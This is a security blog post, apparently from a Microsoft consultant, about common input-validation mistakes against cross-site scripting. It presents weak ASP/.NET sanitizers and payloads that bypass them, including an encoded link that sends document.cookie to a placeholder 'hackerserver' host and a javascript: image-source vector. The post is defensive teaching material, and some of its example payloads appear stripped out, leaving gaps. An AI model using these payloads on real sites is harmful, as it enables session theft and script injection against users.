First Line of Defense for Web Applications – Part 4

I am on a red eye flight back to Seattle from Dulles, VA where I just finished delivering some security training. Traveling back in time, jet lagged, not able to sleep so I thought of finishing my blog post for this week to kill some time. 🙂

Ok, so now that we have discussed the basics of input validation, let’s move on to some more interesting part of this series – The top most common mistakes developers make today when they implement input validation routines for web application attacks. This is not a comprehensive list of course but I am sure there are so many other worse validation routines floating out there which I still have to witness. 🙂 . If you are in the same business of security, you know what I am talking about.

Top Validation Bloopers

Understanding the need for input validation is a good start, but developers also need to implement strong controls.  This is harder than it sounds.  This section illustrates some of the top validation bloopers developers make when writing validation routines for Cross site scripting attacks, SQL injection attacks, and poorly coded file upload functionality. It includes example payloads that can bypass the validation schemes and recommendation how to validate securely.

# 1   - Cross Site Scripting


Weak Validation Examples      


-  LetsStopCrossSiteScripting  




<meta charset=utf-7>


<form id=foo1 method=get>





fooString= Request.querystring("foo")


//  LetsStopCrossSiteScripting


            fooString = Replace(fooString, "<", " ")

            fooString = Replace(fooString, ">", " ")

            fooString = Replace(fooString, "%", " ")

            fooString = Replace(fooString, ",", " ")


          Response.Write fooString



Exploit Technique to bypass this validation


Attacker can use alternate representations for characters, in this case using encoding for the payload <script>alert(‘Foo is vulnerable to XSS’)</script> can successfully bypass this validation and attack the application.


Attack Payload :




Some more examples of weak XSS validations 

a) SanitizeInput     

  private string SanitizeInput(string input)


                                                Regex badCharReplace = new Regex(@""([<>""""'%;()&])"");"


b) Security Configuration file :  stopXSS.xml






c)         Replacing char(34)



         if request("name") <> "" then

         str = replace(request("name"),chr(34),"&quot;")

         end if



Now, let’s look at some Inappropriate output encoding examples


a)     Server.HTMLEncode()         


This is Sample.aspx


Welcome to Foo!!!!


               Server.HTMLEncode(<%= (Request.Params["Search"])%>); 




           Exploit payload to bypass this encoding is given below

<a id=evilLink  href="'search+string''http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="'search+string''http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')"></a>


The above payload does not have any <script> tags so it easily bypasses the encoding routine. 

 Another example for inappropriate use of Server.HtmlEncode()




              <H1>XSS </H1>

              <IMG SRC='<%=Server.htmlencode(request("im"))%>'>




Exploit payload  to bypass this encoding is given below


<IMG SRC="javascript:alert('XSS');">


Server.HTMLEncode fails to protect against XSS attack in these examples because of the following reasons:


·                     Attacker payload lands up in a scripting context already, so there is no need to have <script> in the payload.

·                     Server.HTMLEncode is a black list encoding function which ONLY encodes 4 characters : < , > , “ , &. All other characters are not encoded.




·         Input Validation  - Use White list Regular expression validation. Allows one or more alphabetical characters string regExPattern = @"^[A-Za-z]+$";

·         Output Encoding - Anti-Cross Site Scripting Library from ACE team can be used to mitigate against XSS attacks. This is a white list encoding routine & is available at 

Stay tuned for more bloopers next week. Till then, keep it secure.


Anmol Malhotra
Senior Security Consultant – Microsoft ACE Services



Comments (7)

  1. war59312 says:

    Um, have the graph is cut off!

  2. Link Listing – November 12, 2007

  3. ASP.NET First Line of Defense for Web Applications – Part 4 [Via: techjunkie ] ASP.NET Applications…

  4. Hosam Kamel says:

    There are lots of security principles which one should be aware of while developing software but at the

  5. anothr user says:

    One new subscriber from Anothr Alerts

  6. Hello folks, I just completed my blog series on Input Validation Strategies on our hackers blog –

  7. Hello folks, I just completed my blog series on Input Validation Strategies on our hackers blog – http

Skip to main content